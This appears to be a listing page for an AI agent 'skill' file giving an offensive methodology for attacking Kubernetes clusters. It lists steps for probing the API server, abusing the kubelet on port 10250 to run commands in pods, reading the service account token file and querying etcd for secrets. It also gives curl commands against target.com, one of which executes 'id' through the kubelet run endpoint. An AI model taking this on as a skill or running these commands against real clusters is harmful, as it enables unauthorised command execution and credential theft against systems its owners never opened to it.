net-04-k8s

Installation
SKILL.md

Net 04 K8S — Offensive Methodology

Shortcut

  1. Probe K8s API on 6443/443: kubectl get nodes
  2. Check kubelet on 10250: authenticated exec
  3. Find service account tokens: /var/run/secrets/kubernetes.io/serviceaccount/token
  4. Check etcd on 2379 for cluster secrets

Hacker Mindset

K8s is an API, not a shell. Every kubectl command is an API call. If you can reach the API server, you can control the cluster. Service account tokens are the keys to the kingdom.

Detection

# API server
curl -k https://target.com:6443/api/v1/nodes

# Kubelet exec
curl -k https://target.com:10250/run/default/nginx/nginx -d "cmd=id"
Installs
1
GitHub Stars
6
First Seen
Nov 16, 2026